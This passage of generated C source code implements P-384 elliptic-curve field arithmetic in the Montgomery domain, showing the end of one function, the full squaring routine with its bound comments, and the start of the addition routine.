fiat_p384_cmovznz_u64(&x488, x486, x475, x461); uint64_t x489; fiat_p384_cmovznz_u64(&x489, x486, x477, x463); uint64_t x490; fiat_p384_cmovznz_u64(&x490, x486, x479, x465); uint64_t x491; fiat_p384_cmovznz_u64(&x491, x486, x481, x467); uint64_t x492; fiat_p384_cmovznz_u64(&x492, x486, x483, x469); out1[0] = x487; out1[1] = x488; out1[2] = x489; out1[3] = x490; out1[4] = x491; out1[5] = x492; } /* * The function fiat_p384_square squares a field element in the Montgomery domain. * Preconditions: * 0 ≤ eval arg1 < m * Postconditions: * eval (from_montgomery out1) mod m = (eval (from_montgomery arg1) * eval (from_montgomery arg1)) mod m * 0 ≤ eval out1 < m * * Input Bounds: * arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] */ static void fiat_p384_square(uint64_t out1[6], const uint64_t arg1[6]) { uint64_t x1 = (arg1[1]); uint64_t x2 = (arg1[2]); uint64_t x3 = (arg1[3]); uint64_t x4 = (arg1[4]); uint64_t x5 = (arg1[5]); uint64_t x6 = (arg1[0]); uint64_t x7; uint64_t x8; fiat_p384_mulx_u64(&x7, &x8, x6, (arg1[5])); uint64_t x9; uint64_t x10; fiat_p384_mulx_u64(&x9, &x10, x6, (arg1[4])); uint64_t x11; uint64_t x12; fiat_p384_mulx_u64(&x11, &x12, x6, (arg1[3])); uint64_t x13; uint64_t x14; fiat_p384_mulx_u64(&x13, &x14, x6, (arg1[2])); uint64_t x15; uint64_t x16; fiat_p384_mulx_u64(&x15, &x16, x6, (arg1[1])); uint64_t x17; uint64_t x18; fiat_p384_mulx_u64(&x17, &x18, x6, (arg1[0])); uint64_t x19; fiat_p384_uint1 x20; fiat_p384_addcarryx_u64(&x19, &x20, 0x0, x18, x15); uint64_t x21; fiat_p384_uint1 x22; fiat_p384_addcarryx_u64(&x21, &x22, x20, x16, x13); uint64_t x23; fiat_p384_uint1 x24; fiat_p384_addcarryx_u64(&x23, &x24, x22, x14, x11); uint64_t x25; fiat_p384_uint1 x26; fiat_p384_addcarryx_u64(&x25, &x26, x24, x12, x9); uint64_t x27; fiat_p384_uint1 x28; fiat_p384_addcarryx_u64(&x27, &x28, x26, x10, x7); uint64_t x29; fiat_p384_uint1 x30; fiat_p384_addcarryx_u64(&x29, &x30, x28, x8, 0x0); uint64_t x31; uint64_t x32; fiat_p384_mulx_u64(&x31, &x32, x17, UINT64_C(0x100000001)); uint64_t x33; uint64_t x34; fiat_p384_mulx_u64(&x33, &x34, x31, UINT64_C(0xffffffffffffffff)); uint64_t x35; uint64_t x36; fiat_p384_mulx_u64(&x35, &x36, x31, UINT64_C(0xffffffffffffffff)); uint64_t x37; uint64_t x38; fiat_p384_mulx_u64(&x37, &x38, x31, UINT64_C(0xffffffffffffffff)); uint64_t x39; uint64_t x40; fiat_p384_mulx_u64(&x39, &x40, x31, UINT64_C(0xfffffffffffffffe)); uint64_t x41; uint64_t x42; fiat_p384_mulx_u64(&x41, &x42, x31, UINT64_C(0xffffffff00000000)); uint64_t x43; uint64_t x44; fiat_p384_mulx_u64(&x43, &x44, x31, UINT32_C(0xffffffff)); uint64_t x45; fiat_p384_uint1 x46; fiat_p384_addcarryx_u64(&x45, &x46, 0x0, x44, x41); uint64_t x47; fiat_p384_uint1 x48; fiat_p384_addcarryx_u64(&x47, &x48, x46, x42, x39); uint64_t x49; fiat_p384_uint1 x50; fiat_p384_addcarryx_u64(&x49, &x50, x48, x40, x37); uint64_t x51; fiat_p384_uint1 x52; fiat_p384_addcarryx_u64(&x51, &x52, x50, x38, x35); uint64_t x53; fiat_p384_uint1 x54; fiat_p384_addcarryx_u64(&x53, &x54, x52, x36, x33); uint64_t x55; fiat_p384_uint1 x56; fiat_p384_addcarryx_u64(&x55, &x56, x54, x34, 0x0); uint64_t x57; fiat_p384_uint1 x58; fiat_p384_addcarryx_u64(&x57, &x58, 0x0, x17, x43); uint64_t x59; fiat_p384_uint1 x60; fiat_p384_addcarryx_u64(&x59, &x60, x58, x19, x45); uint64_t x61; fiat_p384_uint1 x62; fiat_p384_addcarryx_u64(&x61, &x62, x60, x21, x47); uint64_t x63; fiat_p384_uint1 x64; fiat_p384_addcarryx_u64(&x63, &x64, x62, x23, x49); uint64_t x65; fiat_p384_uint1 x66; fiat_p384_addcarryx_u64(&x65, &x66, x64, x25, x51); uint64_t x67; fiat_p384_uint1 x68; fiat_p384_addcarryx_u64(&x67, &x68, x66, x27, x53); uint64_t x69; fiat_p384_uint1 x70; fiat_p384_addcarryx_u64(&x69, &x70, x68, x29, x55); uint64_t x71; fiat_p384_uint1 x72; fiat_p384_addcarryx_u64(&x71, &x72, x70, 0x0, 0x0); uint64_t x73; uint64_t x74; fiat_p384_mulx_u64(&x73, &x74, x1, (arg1[5])); uint64_t x75; uint64_t x76; fiat_p384_mulx_u64(&x75, &x76, x1, (arg1[4])); uint64_t x77; uint64_t x78; fiat_p384_mulx_u64(&x77, &x78, x1, (arg1[3])); uint64_t x79; uint64_t x80; fiat_p384_mulx_u64(&x79, &x80, x1, (arg1[2])); uint64_t x81; uint64_t x82; fiat_p384_mulx_u64(&x81, &x82, x1, (arg1[1])); uint64_t x83; uint64_t x84; fiat_p384_mulx_u64(&x83, &x84, x1, (arg1[0])); uint64_t x85; fiat_p384_uint1 x86; fiat_p384_addcarryx_u64(&x85, &x86, 0x0, x84, x81); uint64_t x87; fiat_p384_uint1 x88; fiat_p384_addcarryx_u64(&x87, &x88, x86, x82, x79); uint64_t x89; fiat_p384_uint1 x90; fiat_p384_addcarryx_u64(&x89, &x90, x88, x80, x77); uint64_t x91; fiat_p384_uint1 x92; fiat_p384_addcarryx_u64(&x91, &x92, x90, x78, x75); uint64_t x93; fiat_p384_uint1 x94; fiat_p384_addcarryx_u64(&x93, &x94, x92, x76, x73); uint64_t x95; fiat_p384_uint1 x96; fiat_p384_addcarryx_u64(&x95, &x96, x94, x74, 0x0); uint64_t x97; fiat_p384_uint1 x98; fiat_p384_addcarryx_u64(&x97, &x98, 0x0, x59, x83); uint64_t x99; fiat_p384_uint1 x100; fiat_p384_addcarryx_u64(&x99, &x100, x98, x61, x85); uint64_t x101; fiat_p384_uint1 x102; fiat_p384_addcarryx_u64(&x101, &x102, x100, x63, x87); uint64_t x103; fiat_p384_uint1 x104; fiat_p384_addcarryx_u64(&x103, &x104, x102, x65, x89); uint64_t x105; fiat_p384_uint1 x106; fiat_p384_addcarryx_u64(&x105, &x106, x104, x67, x91); uint64_t x107; fiat_p384_uint1 x108; fiat_p384_addcarryx_u64(&x107, &x108, x106, x69, x93); uint64_t x109; fiat_p384_uint1 x110; fiat_p384_addcarryx_u64(&x109, &x110, x108, (fiat_p384_uint1)x71, x95); uint64_t x111; uint64_t x112; fiat_p384_mulx_u64(&x111, &x112, x97, UINT64_C(0x100000001)); uint64_t x113; uint64_t x114; fiat_p384_mulx_u64(&x113, &x114, x111, UINT64_C(0xffffffffffffffff)); uint64_t x115; uint64_t x116; fiat_p384_mulx_u64(&x115, &x116, x111, UINT64_C(0xffffffffffffffff)); uint64_t x117; uint64_t x118; fiat_p384_mulx_u64(&x117, &x118, x111, UINT64_C(0xffffffffffffffff)); uint64_t x119; uint64_t x120; fiat_p384_mulx_u64(&x119, &x120, x111, UINT64_C(0xfffffffffffffffe)); uint64_t x121; uint64_t x122; fiat_p384_mulx_u64(&x121, &x122, x111, UINT64_C(0xffffffff00000000)); uint64_t x123; uint64_t x124; fiat_p384_mulx_u64(&x123, &x124, x111, UINT32_C(0xffffffff)); uint64_t x125; fiat_p384_uint1 x126; fiat_p384_addcarryx_u64(&x125, &x126, 0x0, x124, x121); uint64_t x127; fiat_p384_uint1 x128; fiat_p384_addcarryx_u64(&x127, &x128, x126, x122, x119); uint64_t x129; fiat_p384_uint1 x130; fiat_p384_addcarryx_u64(&x129, &x130, x128, x120, x117); uint64_t x131; fiat_p384_uint1 x132; fiat_p384_addcarryx_u64(&x131, &x132, x130, x118, x115); uint64_t x133; fiat_p384_uint1 x134; fiat_p384_addcarryx_u64(&x133, &x134, x132, x116, x113); uint64_t x135; fiat_p384_uint1 x136; fiat_p384_addcarryx_u64(&x135, &x136, x134, x114, 0x0); uint64_t x137; fiat_p384_uint1 x138; fiat_p384_addcarryx_u64(&x137, &x138, 0x0, x97, x123); uint64_t x139; fiat_p384_uint1 x140; fiat_p384_addcarryx_u64(&x139, &x140, x138, x99, x125); uint64_t x141; fiat_p384_uint1 x142; fiat_p384_addcarryx_u64(&x141, &x142, x140, x101, x127); uint64_t x143; fiat_p384_uint1 x144; fiat_p384_addcarryx_u64(&x143, &x144, x142, x103, x129); uint64_t x145; fiat_p384_uint1 x146; fiat_p384_addcarryx_u64(&x145, &x146, x144, x105, x131); uint64_t x147; fiat_p384_uint1 x148; fiat_p384_addcarryx_u64(&x147, &x148, x146, x107, x133); uint64_t x149; fiat_p384_uint1 x150; fiat_p384_addcarryx_u64(&x149, &x150, x148, x109, x135); uint64_t x151; fiat_p384_uint1 x152; fiat_p384_addcarryx_u64(&x151, &x152, x150, x110, 0x0); uint64_t x153; uint64_t x154; fiat_p384_mulx_u64(&x153, &x154, x2, (arg1[5])); uint64_t x155; uint64_t x156; fiat_p384_mulx_u64(&x155, &x156, x2, (arg1[4])); uint64_t x157; uint64_t x158; fiat_p384_mulx_u64(&x157, &x158, x2, (arg1[3])); uint64_t x159; uint64_t x160; fiat_p384_mulx_u64(&x159, &x160, x2, (arg1[2])); uint64_t x161; uint64_t x162; fiat_p384_mulx_u64(&x161, &x162, x2, (arg1[1])); uint64_t x163; uint64_t x164; fiat_p384_mulx_u64(&x163, &x164, x2, (arg1[0])); uint64_t x165; fiat_p384_uint1 x166; fiat_p384_addcarryx_u64(&x165, &x166, 0x0, x164, x161); uint64_t x167; fiat_p384_uint1 x168; fiat_p384_addcarryx_u64(&x167, &x168, x166, x162, x159); uint64_t x169; fiat_p384_uint1 x170; fiat_p384_addcarryx_u64(&x169, &x170, x168, x160, x157); uint64_t x171; fiat_p384_uint1 x172; fiat_p384_addcarryx_u64(&x171, &x172, x170, x158, x155); uint64_t x173; fiat_p384_uint1 x174; fiat_p384_addcarryx_u64(&x173, &x174, x172, x156, x153); uint64_t x175; fiat_p384_uint1 x176; fiat_p384_addcarryx_u64(&x175, &x176, x174, x154, 0x0); uint64_t x177; fiat_p384_uint1 x178; fiat_p384_addcarryx_u64(&x177, &x178, 0x0, x139, x163); uint64_t x179; fiat_p384_uint1 x180; fiat_p384_addcarryx_u64(&x179, &x180, x178, x141, x165); uint64_t x181; fiat_p384_uint1 x182; fiat_p384_addcarryx_u64(&x181, &x182, x180, x143, x167); uint64_t x183; fiat_p384_uint1 x184; fiat_p384_addcarryx_u64(&x183, &x184, x182, x145, x169); uint64_t x185; fiat_p384_uint1 x186; fiat_p384_addcarryx_u64(&x185, &x186, x184, x147, x171); uint64_t x187; fiat_p384_uint1 x188; fiat_p384_addcarryx_u64(&x187, &x188, x186, x149, x173); uint64_t x189; fiat_p384_uint1 x190; fiat_p384_addcarryx_u64(&x189, &x190, x188, x151, x175); uint64_t x191; uint64_t x192; fiat_p384_mulx_u64(&x191, &x192, x177, UINT64_C(0x100000001)); uint64_t x193; uint64_t x194; fiat_p384_mulx_u64(&x193, &x194, x191, UINT64_C(0xffffffffffffffff)); uint64_t x195; uint64_t x196; fiat_p384_mulx_u64(&x195, &x196, x191, UINT64_C(0xffffffffffffffff)); uint64_t x197; uint64_t x198; fiat_p384_mulx_u64(&x197, &x198, x191, UINT64_C(0xffffffffffffffff)); uint64_t x199; uint64_t x200; fiat_p384_mulx_u64(&x199, &x200, x191, UINT64_C(0xfffffffffffffffe)); uint64_t x201; uint64_t x202; fiat_p384_mulx_u64(&x201, &x202, x191, UINT64_C(0xffffffff00000000)); uint64_t x203; uint64_t x204; fiat_p384_mulx_u64(&x203, &x204, x191, UINT32_C(0xffffffff)); uint64_t x205; fiat_p384_uint1 x206; fiat_p384_addcarryx_u64(&x205, &x206, 0x0, x204, x201); uint64_t x207; fiat_p384_uint1 x208; fiat_p384_addcarryx_u64(&x207, &x208, x206, x202, x199); uint64_t x209; fiat_p384_uint1 x210; fiat_p384_addcarryx_u64(&x209, &x210, x208, x200, x197); uint64_t x211; fiat_p384_uint1 x212; fiat_p384_addcarryx_u64(&x211, &x212, x210, x198, x195); uint64_t x213; fiat_p384_uint1 x214; fiat_p384_addcarryx_u64(&x213, &x214, x212, x196, x193); uint64_t x215; fiat_p384_uint1 x216; fiat_p384_addcarryx_u64(&x215, &x216, x214, x194, 0x0); uint64_t x217; fiat_p384_uint1 x218; fiat_p384_addcarryx_u64(&x217, &x218, 0x0, x177, x203); uint64_t x219; fiat_p384_uint1 x220; fiat_p384_addcarryx_u64(&x219, &x220, x218, x179, x205); uint64_t x221; fiat_p384_uint1 x222; fiat_p384_addcarryx_u64(&x221, &x222, x220, x181, x207); uint64_t x223; fiat_p384_uint1 x224; fiat_p384_addcarryx_u64(&x223, &x224, x222, x183, x209); uint64_t x225; fiat_p384_uint1 x226; fiat_p384_addcarryx_u64(&x225, &x226, x224, x185, x211); uint64_t x227; fiat_p384_uint1 x228; fiat_p384_addcarryx_u64(&x227, &x228, x226, x187, x213); uint64_t x229; fiat_p384_uint1 x230; fiat_p384_addcarryx_u64(&x229, &x230, x228, x189, x215); uint64_t x231; fiat_p384_uint1 x232; fiat_p384_addcarryx_u64(&x231, &x232, x230, x190, 0x0); uint64_t x233; uint64_t x234; fiat_p384_mulx_u64(&x233, &x234, x3, (arg1[5])); uint64_t x235; uint64_t x236; fiat_p384_mulx_u64(&x235, &x236, x3, (arg1[4])); uint64_t x237; uint64_t x238; fiat_p384_mulx_u64(&x237, &x238, x3, (arg1[3])); uint64_t x239; uint64_t x240; fiat_p384_mulx_u64(&x239, &x240, x3, (arg1[2])); uint64_t x241; uint64_t x242; fiat_p384_mulx_u64(&x241, &x242, x3, (arg1[1])); uint64_t x243; uint64_t x244; fiat_p384_mulx_u64(&x243, &x244, x3, (arg1[0])); uint64_t x245; fiat_p384_uint1 x246; fiat_p384_addcarryx_u64(&x245, &x246, 0x0, x244, x241); uint64_t x247; fiat_p384_uint1 x248; fiat_p384_addcarryx_u64(&x247, &x248, x246, x242, x239); uint64_t x249; fiat_p384_uint1 x250; fiat_p384_addcarryx_u64(&x249, &x250, x248, x240, x237); uint64_t x251; fiat_p384_uint1 x252; fiat_p384_addcarryx_u64(&x251, &x252, x250, x238, x235); uint64_t x253; fiat_p384_uint1 x254; fiat_p384_addcarryx_u64(&x253, &x254, x252, x236, x233); uint64_t x255; fiat_p384_uint1 x256; fiat_p384_addcarryx_u64(&x255, &x256, x254, x234, 0x0); uint64_t x257; fiat_p384_uint1 x258; fiat_p384_addcarryx_u64(&x257, &x258, 0x0, x219, x243); uint64_t x259; fiat_p384_uint1 x260; fiat_p384_addcarryx_u64(&x259, &x260, x258, x221, x245); uint64_t x261; fiat_p384_uint1 x262; fiat_p384_addcarryx_u64(&x261, &x262, x260, x223, x247); uint64_t x263; fiat_p384_uint1 x264; fiat_p384_addcarryx_u64(&x263, &x264, x262, x225, x249); uint64_t x265; fiat_p384_uint1 x266; fiat_p384_addcarryx_u64(&x265, &x266, x264, x227, x251); uint64_t x267; fiat_p384_uint1 x268; fiat_p384_addcarryx_u64(&x267, &x268, x266, x229, x253); uint64_t x269; fiat_p384_uint1 x270; fiat_p384_addcarryx_u64(&x269, &x270, x268, x231, x255); uint64_t x271; uint64_t x272; fiat_p384_mulx_u64(&x271, &x272, x257, UINT64_C(0x100000001)); uint64_t x273; uint64_t x274; fiat_p384_mulx_u64(&x273, &x274, x271, UINT64_C(0xffffffffffffffff)); uint64_t x275; uint64_t x276; fiat_p384_mulx_u64(&x275, &x276, x271, UINT64_C(0xffffffffffffffff)); uint64_t x277; uint64_t x278; fiat_p384_mulx_u64(&x277, &x278, x271, UINT64_C(0xffffffffffffffff)); uint64_t x279; uint64_t x280; fiat_p384_mulx_u64(&x279, &x280, x271, UINT64_C(0xfffffffffffffffe)); uint64_t x281; uint64_t x282; fiat_p384_mulx_u64(&x281, &x282, x271, UINT64_C(0xffffffff00000000)); uint64_t x283; uint64_t x284; fiat_p384_mulx_u64(&x283, &x284, x271, UINT32_C(0xffffffff)); uint64_t x285; fiat_p384_uint1 x286; fiat_p384_addcarryx_u64(&x285, &x286, 0x0, x284, x281); uint64_t x287; fiat_p384_uint1 x288; fiat_p384_addcarryx_u64(&x287, &x288, x286, x282, x279); uint64_t x289; fiat_p384_uint1 x290; fiat_p384_addcarryx_u64(&x289, &x290, x288, x280, x277); uint64_t x291; fiat_p384_uint1 x292; fiat_p384_addcarryx_u64(&x291, &x292, x290, x278, x275); uint64_t x293; fiat_p384_uint1 x294; fiat_p384_addcarryx_u64(&x293, &x294, x292, x276, x273); uint64_t x295; fiat_p384_uint1 x296; fiat_p384_addcarryx_u64(&x295, &x296, x294, x274, 0x0); uint64_t x297; fiat_p384_uint1 x298; fiat_p384_addcarryx_u64(&x297, &x298, 0x0, x257, x283); uint64_t x299; fiat_p384_uint1 x300; fiat_p384_addcarryx_u64(&x299, &x300, x298, x259, x285); uint64_t x301; fiat_p384_uint1 x302; fiat_p384_addcarryx_u64(&x301, &x302, x300, x261, x287); uint64_t x303; fiat_p384_uint1 x304; fiat_p384_addcarryx_u64(&x303, &x304, x302, x263, x289); uint64_t x305; fiat_p384_uint1 x306; fiat_p384_addcarryx_u64(&x305, &x306, x304, x265, x291); uint64_t x307; fiat_p384_uint1 x308; fiat_p384_addcarryx_u64(&x307, &x308, x306, x267, x293); uint64_t x309; fiat_p384_uint1 x310; fiat_p384_addcarryx_u64(&x309, &x310, x308, x269, x295); uint64_t x311; fiat_p384_uint1 x312; fiat_p384_addcarryx_u64(&x311, &x312, x310, x270, 0x0); uint64_t x313; uint64_t x314; fiat_p384_mulx_u64(&x313, &x314, x4, (arg1[5])); uint64_t x315; uint64_t x316; fiat_p384_mulx_u64(&x315, &x316, x4, (arg1[4])); uint64_t x317; uint64_t x318; fiat_p384_mulx_u64(&x317, &x318, x4, (arg1[3])); uint64_t x319; uint64_t x320; fiat_p384_mulx_u64(&x319, &x320, x4, (arg1[2])); uint64_t x321; uint64_t x322; fiat_p384_mulx_u64(&x321, &x322, x4, (arg1[1])); uint64_t x323; uint64_t x324; fiat_p384_mulx_u64(&x323, &x324, x4, (arg1[0])); uint64_t x325; fiat_p384_uint1 x326; fiat_p384_addcarryx_u64(&x325, &x326, 0x0, x324, x321); uint64_t x327; fiat_p384_uint1 x328; fiat_p384_addcarryx_u64(&x327, &x328, x326, x322, x319); uint64_t x329; fiat_p384_uint1 x330; fiat_p384_addcarryx_u64(&x329, &x330, x328, x320, x317); uint64_t x331; fiat_p384_uint1 x332; fiat_p384_addcarryx_u64(&x331, &x332, x330, x318, x315); uint64_t x333; fiat_p384_uint1 x334; fiat_p384_addcarryx_u64(&x333, &x334, x332, x316, x313); uint64_t x335; fiat_p384_uint1 x336; fiat_p384_addcarryx_u64(&x335, &x336, x334, x314, 0x0); uint64_t x337; fiat_p384_uint1 x338; fiat_p384_addcarryx_u64(&x337, &x338, 0x0, x299, x323); uint64_t x339; fiat_p384_uint1 x340; fiat_p384_addcarryx_u64(&x339, &x340, x338, x301, x325); uint64_t x341; fiat_p384_uint1 x342; fiat_p384_addcarryx_u64(&x341, &x342, x340, x303, x327); uint64_t x343; fiat_p384_uint1 x344; fiat_p384_addcarryx_u64(&x343, &x344, x342, x305, x329); uint64_t x345; fiat_p384_uint1 x346; fiat_p384_addcarryx_u64(&x345, &x346, x344, x307, x331); uint64_t x347; fiat_p384_uint1 x348; fiat_p384_addcarryx_u64(&x347, &x348, x346, x309, x333); uint64_t x349; fiat_p384_uint1 x350; fiat_p384_addcarryx_u64(&x349, &x350, x348, x311, x335); uint64_t x351; uint64_t x352; fiat_p384_mulx_u64(&x351, &x352, x337, UINT64_C(0x100000001)); uint64_t x353; uint64_t x354; fiat_p384_mulx_u64(&x353, &x354, x351, UINT64_C(0xffffffffffffffff)); uint64_t x355; uint64_t x356; fiat_p384_mulx_u64(&x355, &x356, x351, UINT64_C(0xffffffffffffffff)); uint64_t x357; uint64_t x358; fiat_p384_mulx_u64(&x357, &x358, x351, UINT64_C(0xffffffffffffffff)); uint64_t x359; uint64_t x360; fiat_p384_mulx_u64(&x359, &x360, x351, UINT64_C(0xfffffffffffffffe)); uint64_t x361; uint64_t x362; fiat_p384_mulx_u64(&x361, &x362, x351, UINT64_C(0xffffffff00000000)); uint64_t x363; uint64_t x364; fiat_p384_mulx_u64(&x363, &x364, x351, UINT32_C(0xffffffff)); uint64_t x365; fiat_p384_uint1 x366; fiat_p384_addcarryx_u64(&x365, &x366, 0x0, x364, x361); uint64_t x367; fiat_p384_uint1 x368; fiat_p384_addcarryx_u64(&x367, &x368, x366, x362, x359); uint64_t x369; fiat_p384_uint1 x370; fiat_p384_addcarryx_u64(&x369, &x370, x368, x360, x357); uint64_t x371; fiat_p384_uint1 x372; fiat_p384_addcarryx_u64(&x371, &x372, x370, x358, x355); uint64_t x373; fiat_p384_uint1 x374; fiat_p384_addcarryx_u64(&x373, &x374, x372, x356, x353); uint64_t x375; fiat_p384_uint1 x376; fiat_p384_addcarryx_u64(&x375, &x376, x374, x354, 0x0); uint64_t x377; fiat_p384_uint1 x378; fiat_p384_addcarryx_u64(&x377, &x378, 0x0, x337, x363); uint64_t x379; fiat_p384_uint1 x380; fiat_p384_addcarryx_u64(&x379, &x380, x378, x339, x365); uint64_t x381; fiat_p384_uint1 x382; fiat_p384_addcarryx_u64(&x381, &x382, x380, x341, x367); uint64_t x383; fiat_p384_uint1 x384; fiat_p384_addcarryx_u64(&x383, &x384, x382, x343, x369); uint64_t x385; fiat_p384_uint1 x386; fiat_p384_addcarryx_u64(&x385, &x386, x384, x345, x371); uint64_t x387; fiat_p384_uint1 x388; fiat_p384_addcarryx_u64(&x387, &x388, x386, x347, x373); uint64_t x389; fiat_p384_uint1 x390; fiat_p384_addcarryx_u64(&x389, &x390, x388, x349, x375); uint64_t x391; fiat_p384_uint1 x392; fiat_p384_addcarryx_u64(&x391, &x392, x390, x350, 0x0); uint64_t x393; uint64_t x394; fiat_p384_mulx_u64(&x393, &x394, x5, (arg1[5])); uint64_t x395; uint64_t x396; fiat_p384_mulx_u64(&x395, &x396, x5, (arg1[4])); uint64_t x397; uint64_t x398; fiat_p384_mulx_u64(&x397, &x398, x5, (arg1[3])); uint64_t x399; uint64_t x400; fiat_p384_mulx_u64(&x399, &x400, x5, (arg1[2])); uint64_t x401; uint64_t x402; fiat_p384_mulx_u64(&x401, &x402, x5, (arg1[1])); uint64_t x403; uint64_t x404; fiat_p384_mulx_u64(&x403, &x404, x5, (arg1[0])); uint64_t x405; fiat_p384_uint1 x406; fiat_p384_addcarryx_u64(&x405, &x406, 0x0, x404, x401); uint64_t x407; fiat_p384_uint1 x408; fiat_p384_addcarryx_u64(&x407, &x408, x406, x402, x399); uint64_t x409; fiat_p384_uint1 x410; fiat_p384_addcarryx_u64(&x409, &x410, x408, x400, x397); uint64_t x411; fiat_p384_uint1 x412; fiat_p384_addcarryx_u64(&x411, &x412, x410, x398, x395); uint64_t x413; fiat_p384_uint1 x414; fiat_p384_addcarryx_u64(&x413, &x414, x412, x396, x393); uint64_t x415; fiat_p384_uint1 x416; fiat_p384_addcarryx_u64(&x415, &x416, x414, x394, 0x0); uint64_t x417; fiat_p384_uint1 x418; fiat_p384_addcarryx_u64(&x417, &x418, 0x0, x379, x403); uint64_t x419; fiat_p384_uint1 x420; fiat_p384_addcarryx_u64(&x419, &x420, x418, x381, x405); uint64_t x421; fiat_p384_uint1 x422; fiat_p384_addcarryx_u64(&x421, &x422, x420, x383, x407); uint64_t x423; fiat_p384_uint1 x424; fiat_p384_addcarryx_u64(&x423, &x424, x422, x385, x409); uint64_t x425; fiat_p384_uint1 x426; fiat_p384_addcarryx_u64(&x425, &x426, x424, x387, x411); uint64_t x427; fiat_p384_uint1 x428; fiat_p384_addcarryx_u64(&x427, &x428, x426, x389, x413); uint64_t x429; fiat_p384_uint1 x430; fiat_p384_addcarryx_u64(&x429, &x430, x428, x391, x415); uint64_t x431; uint64_t x432; fiat_p384_mulx_u64(&x431, &x432, x417, UINT64_C(0x100000001)); uint64_t x433; uint64_t x434; fiat_p384_mulx_u64(&x433, &x434, x431, UINT64_C(0xffffffffffffffff)); uint64_t x435; uint64_t x436; fiat_p384_mulx_u64(&x435, &x436, x431, UINT64_C(0xffffffffffffffff)); uint64_t x437; uint64_t x438; fiat_p384_mulx_u64(&x437, &x438, x431, UINT64_C(0xffffffffffffffff)); uint64_t x439; uint64_t x440; fiat_p384_mulx_u64(&x439, &x440, x431, UINT64_C(0xfffffffffffffffe)); uint64_t x441; uint64_t x442; fiat_p384_mulx_u64(&x441, &x442, x431, UINT64_C(0xffffffff00000000)); uint64_t x443; uint64_t x444; fiat_p384_mulx_u64(&x443, &x444, x431, UINT32_C(0xffffffff)); uint64_t x445; fiat_p384_uint1 x446; fiat_p384_addcarryx_u64(&x445, &x446, 0x0, x444, x441); uint64_t x447; fiat_p384_uint1 x448; fiat_p384_addcarryx_u64(&x447, &x448, x446, x442, x439); uint64_t x449; fiat_p384_uint1 x450; fiat_p384_addcarryx_u64(&x449, &x450, x448, x440, x437); uint64_t x451; fiat_p384_uint1 x452; fiat_p384_addcarryx_u64(&x451, &x452, x450, x438, x435); uint64_t x453; fiat_p384_uint1 x454; fiat_p384_addcarryx_u64(&x453, &x454, x452, x436, x433); uint64_t x455; fiat_p384_uint1 x456; fiat_p384_addcarryx_u64(&x455, &x456, x454, x434, 0x0); uint64_t x457; fiat_p384_uint1 x458; fiat_p384_addcarryx_u64(&x457, &x458, 0x0, x417, x443); uint64_t x459; fiat_p384_uint1 x460; fiat_p384_addcarryx_u64(&x459, &x460, x458, x419, x445); uint64_t x461; fiat_p384_uint1 x462; fiat_p384_addcarryx_u64(&x461, &x462, x460, x421, x447); uint64_t x463; fiat_p384_uint1 x464; fiat_p384_addcarryx_u64(&x463, &x464, x462, x423, x449); uint64_t x465; fiat_p384_uint1 x466; fiat_p384_addcarryx_u64(&x465, &x466, x464, x425, x451); uint64_t x467; fiat_p384_uint1 x468; fiat_p384_addcarryx_u64(&x467, &x468, x466, x427, x453); uint64_t x469; fiat_p384_uint1 x470; fiat_p384_addcarryx_u64(&x469, &x470, x468, x429, x455); uint64_t x471; fiat_p384_uint1 x472; fiat_p384_addcarryx_u64(&x471, &x472, x470, x430, 0x0); uint64_t x473; fiat_p384_uint1 x474; fiat_p384_subborrowx_u64(&x473, &x474, 0x0, x459, UINT32_C(0xffffffff)); uint64_t x475; fiat_p384_uint1 x476; fiat_p384_subborrowx_u64(&x475, &x476, x474, x461, UINT64_C(0xffffffff00000000)); uint64_t x477; fiat_p384_uint1 x478; fiat_p384_subborrowx_u64(&x477, &x478, x476, x463, UINT64_C(0xfffffffffffffffe)); uint64_t x479; fiat_p384_uint1 x480; fiat_p384_subborrowx_u64(&x479, &x480, x478, x465, UINT64_C(0xffffffffffffffff)); uint64_t x481; fiat_p384_uint1 x482; fiat_p384_subborrowx_u64(&x481, &x482, x480, x467, UINT64_C(0xffffffffffffffff)); uint64_t x483; fiat_p384_uint1 x484; fiat_p384_subborrowx_u64(&x483, &x484, x482, x469, UINT64_C(0xffffffffffffffff)); uint64_t x485; fiat_p384_uint1 x486; fiat_p384_subborrowx_u64(&x485, &x486, x484, x471, 0x0); uint64_t x487; fiat_p384_cmovznz_u64(&x487, x486, x473, x459); uint64_t x488; fiat_p384_cmovznz_u64(&x488, x486, x475, x461); uint64_t x489; fiat_p384_cmovznz_u64(&x489, x486, x477, x463); uint64_t x490; fiat_p384_cmovznz_u64(&x490, x486, x479, x465); uint64_t x491; fiat_p384_cmovznz_u64(&x491, x486, x481, x467); uint64_t x492; fiat_p384_cmovznz_u64(&x492, x486, x483, x469); out1[0] = x487; out1[1] = x488; out1[2] = x489; out1[3] = x490; out1[4] = x491; out1[5] = x492; } /* * The function fiat_p384_add adds two field elements in the Montgomery domain. * Preconditions: * 0 ≤ eval arg1 < m * 0 ≤ eval arg2 < m * Postconditions: * eval (from_montgomery out1) mod m = (eval (from_montgomery arg1) + eval (from_montgomery arg2)) mod m * 0 ≤ eval out1 < m * * Input Bounds: * arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] * arg2: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] */ static void fiat_p384_add(uint64_t out1[6], const uint64_t arg1[6], const uint64_t arg2[6]) { uint64_t x1; fiat_p384_uint1 x2; fiat_p384_addcarryx_u64(&x1, 